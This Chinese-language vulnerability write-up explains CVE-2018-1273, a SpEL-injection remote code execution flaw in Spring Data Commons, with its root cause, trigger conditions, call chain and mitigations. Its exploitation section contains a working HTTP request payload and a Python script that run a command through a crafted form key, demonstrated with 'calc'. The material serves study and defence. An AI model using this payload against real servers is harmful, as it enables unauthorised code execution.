Spring-data-commons(CVE-2018-1273)漏洞分析
字数 1577 2025-08-18 11:37:19
Spring-data-commons(CVE-2018-1273)漏洞分析与利用教学
漏洞概述
CVE-2018-1273是Spring-data-commons中一个可远程执行代码的漏洞,当项目使用Spring-data的相关web特性对用户输入参数进行自动匹配时,会将用户提交的form表单的key值作为Spel表达式执行,从而导致远程代码执行。
受影响版本
- Spring Data Commons 1.13 至 1.13.10
- Spring Data Commons 2.0 至 2.0.5
漏洞成因
漏洞的核心在于Spring在自动解析用户参数时使用了SpelExpressionParser来解析propertyName。具体流程如下:
- 当用户提交表单数据时,Spring会将表单的key值作为Spel表达式执行
- 在
MapDataBinder.java的169行,表达式被解析并执行:Expression expression = PARSER.parseExpression(propertyName); // ... expression.setValue(context, value);
漏洞触发条件
配置条件
满足以下任一条件即视为开启了相关特性:
- 显式声明
@EnableSpringDataWebSupport - 使用Spring Boot框架的自动扫描特性(会自动加载
SpringDataWebConfiguration类) - 在非注解声明项目中,有以下XML配置:
<bean class="org.springframework.data.web.config.SpringDataWebConfiguration" />
代码条件
检查是否存在以下代码特征:
- 带有
@RequestMapping注解的接口 - 方法的参数为一个自定义的接口(Interface)
示例靶子代码:
@SpringBootApplication
public class App {
public static void main(String[] args) {
SpringApplication.run(App.class);
}
@Controller
public class TestController {
@RequestMapping("test")
public void CVEController(TestForm testForm) {
System.out.println(testForm.getName());
}
}
}
interface TestForm {
String getName();
}
漏洞利用
攻击原理
利用form表单提交的方式,在key名称中包含Spel表达式代码。例如,如果接口有一个getName()方法,可以构造如下攻击:
- 原始方法名:
getName() - 构造攻击key:
name[T(java.lang.Runtime).getRuntime().exec("calc")]
攻击步骤
- 构建一个HTTP POST请求
- 使用form表单提交方式
- 在key名称中包含Spel表达式代码
攻击Payload示例
HTTP请求示例:
POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v
Python攻击脚本示例:
import http.client, urllib.parse
command = "calc.exe"
key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command
params = urllib.parse.urlencode({key: 'v'})
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn = http.client.HTTPConnection(host="localhost",port=8080)
conn.request("POST", "/test", params, headers)
conn.close()
Spring Expression Language (SpEL) 基础
SpEL是Spring自带的表达式语言,具有以下特性:
1. 支持简单值
SpelExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration(false, true));
Expression exp = parser.parseExpression("'this is a value'");
System.out.println(exp.getValue()); // 输出: this is a value
2. 支持执行Java类方法
Expression exp = parser.parseExpression("T(java.lang.Math).random() * 100.0");
System.out.println(exp.getValue()); // 返回一个随机数
3. 支持对象属性赋值
Expression exp = parser.parseExpression("name='set my value'");
MockClass mockClass = new MockClass();
exp.getValue(mockClass);
System.out.println(mockClass.name); // 输出: set my value
4. 支持数组操作
Expression exp = parser.parseExpression("list[0]='list value'");
MockClass mockClass = new MockClass();
exp.getValue(mockClass);
System.out.println(mockClass.list[0]); // 输出: list value
5. 支持表达式作为数组下标
Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(0)]='index is 0'");
MockClass mockClass = new MockClass();
exp.getValue(mockClass);
System.out.println(mockClass.list[0]); // 输出: index is 0
6. 支持获取数组属性值
Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(1)]");
MockClass mockClass = new MockClass();
System.out.println(exp.getValue(mockClass)); // 输出: 1
7. 执行恶意代码示例
Expression exp = parser.parseExpression("list[T(java.lang.Runtime).getRuntime().exec(\"calc\")]");
MockClass mockClass = new MockClass();
System.out.println(exp.getValue(mockClass)); // 执行计算器程序
漏洞调用链分析
SpringDataWebConfiguration类特性启用时,会注册ProxyingHandlerMethodArgumentResolver到容器中- Spring MVC处理请求时,会遍历所有
HandlerMethodArgumentResolver - 当参数是Interface时,
ProxyingHandlerMethodArgumentResolver会返回true表示支持解析 - 解析过程中会创建
MapDataBinder来解析参数 MapDataBinder.bind()方法会调用doBind操作- 最终调用
setPropertyValue方法,执行expression.setValue(context, value)触发漏洞
防御措施
- 升级Spring Data Commons到安全版本:
- 1.13.11及以上
- 2.0.6及以上
- 避免在Controller中直接使用接口作为参数类型
- 对用户输入进行严格的过滤和验证
总结
CVE-2018-1273漏洞利用Spring Data Commons在参数绑定时的SpEL表达式解析功能,通过精心构造的请求参数实现远程代码执行。理解该漏洞的成因和利用方式对于开发安全的Spring应用程序至关重要。